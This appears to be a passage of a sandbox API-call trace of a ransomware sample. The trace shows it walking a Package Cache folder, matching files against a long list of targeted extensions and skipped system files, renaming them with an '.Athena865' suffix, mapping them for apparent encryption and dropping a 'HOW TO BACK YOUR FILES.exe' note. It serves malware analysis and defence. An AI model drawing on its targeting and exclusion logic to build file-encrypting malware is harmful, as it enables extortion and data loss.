1 [0099.215] lstrlenW (lpString="oqy") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0099.215] lstrlenW (lpString="ora") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0099.215] lstrlenW (lpString="orx") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0099.215] lstrlenW (lpString="owc") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0099.215] lstrlenW (lpString="p96") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0099.215] lstrlenW (lpString="p97") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0099.216] lstrlenW (lpString="pan") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0099.216] lstrlenW (lpString="pdb") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0099.216] lstrlenW (lpString="pdm") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0099.216] lstrlenW (lpString="pnz") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0099.216] lstrlenW (lpString="qry") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0099.216] lstrlenW (lpString="qvd") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0099.216] lstrlenW (lpString="rbf") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0099.216] lstrlenW (lpString="rctd") returned 4 [0099.216] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0099.216] lstrlenW (lpString="rod") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0099.216] lstrlenW (lpString="rodx") returned 4 [0099.216] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0099.216] lstrlenW (lpString="rpd") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1 [0099.216] lstrlenW (lpString="rsd") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0099.216] lstrlenW (lpString="sas7bdat") returned 8 [0099.216] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0099.216] lstrlenW (lpString="sbf") returned 3 [0099.216] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0099.217] lstrlenW (lpString="scx") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0099.217] lstrlenW (lpString="sdb") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0099.217] lstrlenW (lpString="sdc") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0099.217] lstrlenW (lpString="sdf") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0099.217] lstrlenW (lpString="sis") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0099.217] lstrlenW (lpString="spq") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0099.217] lstrlenW (lpString="te") returned 2 [0099.217] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0099.217] lstrlenW (lpString="teacher") returned 7 [0099.217] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0099.217] lstrlenW (lpString="tmd") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0099.217] lstrlenW (lpString="tps") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0099.217] lstrlenW (lpString="trc") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0099.217] lstrlenW (lpString="trc") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0099.217] lstrlenW (lpString="trm") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0099.217] lstrlenW (lpString="udb") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0099.217] lstrlenW (lpString="udl") returned 3 [0099.217] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0099.218] lstrlenW (lpString="usr") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0099.218] lstrlenW (lpString="v12") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0099.218] lstrlenW (lpString="vis") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0099.218] lstrlenW (lpString="vpd") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0099.218] lstrlenW (lpString="vvv") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0099.218] lstrlenW (lpString="wdb") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0099.218] lstrlenW (lpString="wmdb") returned 4 [0099.218] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0099.218] lstrlenW (lpString="wrk") returned 3 [0099.218] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0099.219] lstrlenW (lpString="xdb") returned 3 [0099.219] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0099.219] lstrlenW (lpString="xld") returned 3 [0099.219] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0099.219] lstrlenW (lpString="xmlff") returned 5 [0099.219] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0099.219] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Athena865") returned 87 [0099.219] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.athena865"), dwFlags=0x1) returned 1 [0099.220] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Athena865" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.220] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=766) returned 1 [0099.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0099.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.220] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.221] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.221] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.221] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x17c [0099.223] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x100000 [0099.223] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.224] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.224] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0099.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.225] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.225] CloseHandle (hObject=0x17c) returned 1 [0099.225] CloseHandle (hObject=0x154) returned 1 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.225] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0099.225] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.225] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="..") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="windows") returned -1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="bootmgr") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="temp") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="pagefile.sys") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="boot") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="ids.txt") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="ntuser.dat") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="perflogs") returned 1 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="MSBuild") returned 1 [0099.226] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0099.226] lstrcpyW (in: lpString1=0x241e8d0, lpString2="VC_redist.x86.exe" | out: lpString1="VC_redist.x86.exe") returned="VC_redist.x86.exe" [0099.226] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0099.226] lstrlenW (lpString="Athena865") returned 9 [0099.226] lstrcmpiW (lpString1="t.x86.exe", lpString2="Athena865") returned 1 [0099.226] lstrlenW (lpString=".dll") returned 4 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".dll") returned 1 [0099.226] lstrlenW (lpString=".lnk") returned 4 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".lnk") returned 1 [0099.226] lstrlenW (lpString=".ini") returned 4 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".ini") returned 1 [0099.226] lstrlenW (lpString=".sys") returned 4 [0099.226] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".sys") returned 1 [0099.226] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0099.226] lstrlenW (lpString="bak") returned 3 [0099.226] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0099.226] lstrlenW (lpString="ba_") returned 3 [0099.226] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0099.227] lstrlenW (lpString="dbb") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0099.227] lstrlenW (lpString="vmdk") returned 4 [0099.227] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0099.227] lstrlenW (lpString="rar") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0099.227] lstrlenW (lpString="zip") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0099.227] lstrlenW (lpString="tgz") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0099.227] lstrlenW (lpString="vbox") returned 4 [0099.227] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0099.227] lstrlenW (lpString="vdi") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0099.227] lstrlenW (lpString="vhd") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0099.227] lstrlenW (lpString="vhdx") returned 4 [0099.227] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0099.227] lstrlenW (lpString="avhd") returned 4 [0099.227] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0099.227] lstrlenW (lpString="db") returned 2 [0099.227] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0099.227] lstrlenW (lpString="db2") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0099.227] lstrlenW (lpString="db3") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0099.227] lstrlenW (lpString="dbf") returned 3 [0099.227] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0099.228] lstrlenW (lpString="mdf") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0099.228] lstrlenW (lpString="mdb") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0099.228] lstrlenW (lpString="sql") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0099.228] lstrlenW (lpString="sqlite") returned 6 [0099.228] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1 [0099.228] lstrlenW (lpString="sqlite3") returned 7 [0099.228] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1 [0099.228] lstrlenW (lpString="sqlitedb") returned 8 [0099.228] lstrcmpiW (lpString1=".x86.exe", lpString2="sqlitedb") returned -1 [0099.228] lstrlenW (lpString="xml") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0099.228] lstrlenW (lpString="$er") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0099.228] lstrlenW (lpString="4dd") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0099.228] lstrlenW (lpString="4dl") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0099.228] lstrlenW (lpString="^^^") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0099.228] lstrlenW (lpString="abs") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0099.228] lstrlenW (lpString="abx") returned 3 [0099.228] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0099.228] lstrlenW (lpString="accdb") returned 5 [0099.228] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1 [0099.228] lstrlenW (lpString="accdc") returned 5 [0099.228] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1 [0099.229] lstrlenW (lpString="accde") returned 5 [0099.229] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1 [0099.229] lstrlenW (lpString="accdr") returned 5 [0099.229] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1 [0099.229] lstrlenW (lpString="accdt") returned 5 [0099.229] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1 [0099.229] lstrlenW (lpString="accdw") returned 5 [0099.229] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1 [0099.229] lstrlenW (lpString="accft") returned 5 [0099.229] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1 [0099.229] lstrlenW (lpString="adb") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0099.229] lstrlenW (lpString="adb") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0099.229] lstrlenW (lpString="ade") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0099.229] lstrlenW (lpString="adf") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0099.229] lstrlenW (lpString="adn") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0099.229] lstrlenW (lpString="adp") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0099.229] lstrlenW (lpString="alf") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0099.229] lstrlenW (lpString="ask") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0099.229] lstrlenW (lpString="btr") returned 3 [0099.229] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0099.229] lstrlenW (lpString="cat") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0099.230] lstrlenW (lpString="cdb") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0099.230] lstrlenW (lpString="ckp") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0099.230] lstrlenW (lpString="cma") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0099.230] lstrlenW (lpString="cpd") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0099.230] lstrlenW (lpString="dacpac") returned 6 [0099.230] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1 [0099.230] lstrlenW (lpString="dad") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0099.230] lstrlenW (lpString="dadiagrams") returned 10 [0099.230] lstrcmpiW (lpString1="st.x86.exe", lpString2="dadiagrams") returned 1 [0099.230] lstrlenW (lpString="daschema") returned 8 [0099.230] lstrcmpiW (lpString1=".x86.exe", lpString2="daschema") returned -1 [0099.230] lstrlenW (lpString="db-journal") returned 10 [0099.230] lstrcmpiW (lpString1="st.x86.exe", lpString2="db-journal") returned 1 [0099.230] lstrlenW (lpString="db-shm") returned 6 [0099.230] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1 [0099.230] lstrlenW (lpString="db-wal") returned 6 [0099.230] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1 [0099.230] lstrlenW (lpString="dbc") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0099.230] lstrlenW (lpString="dbs") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0099.230] lstrlenW (lpString="dbt") returned 3 [0099.230] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0099.230] lstrlenW (lpString="dbv") returned 3 [0099.231] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0099.231] lstrlenW (lpString="dbx") returned 3 [0099.231] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0099.231] lstrlenW (lpString="dcb") returned 3 [0099.231] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0099.231] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0099.231] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0099.231] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0099.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Athena865") returned 95 [0099.231] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.athena865"), dwFlags=0x1) returned 1 [0099.234] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.234] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=781872) returned 1 [0099.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0099.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.235] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.235] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.235] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.236] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf130, lpName=0x0) returned 0x17c [0099.237] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf130) returned 0x2d50000 [0099.305] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.306] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.306] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0099.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0099.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.306] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0099.313] CloseHandle (hObject=0x17c) returned 1 [0099.313] CloseHandle (hObject=0x154) returned 1 [0099.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0099.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.317] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0099.317] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.317] ReleaseMutex (hMutex=0xec) returned 1 [0099.317] CloseHandle (hObject=0xec) returned 1 [0099.317] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0099.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5226f0 | out: hHeap=0x4f0000) returned 1 [0099.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50adb8 | out: hHeap=0x4f0000) returned 1 [0099.317] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 78 [0099.317] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9598BF49C7A2D469E39ACB24657D1322") returned 0xec [0099.317] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.317] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0099.318] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.318] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.318] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package 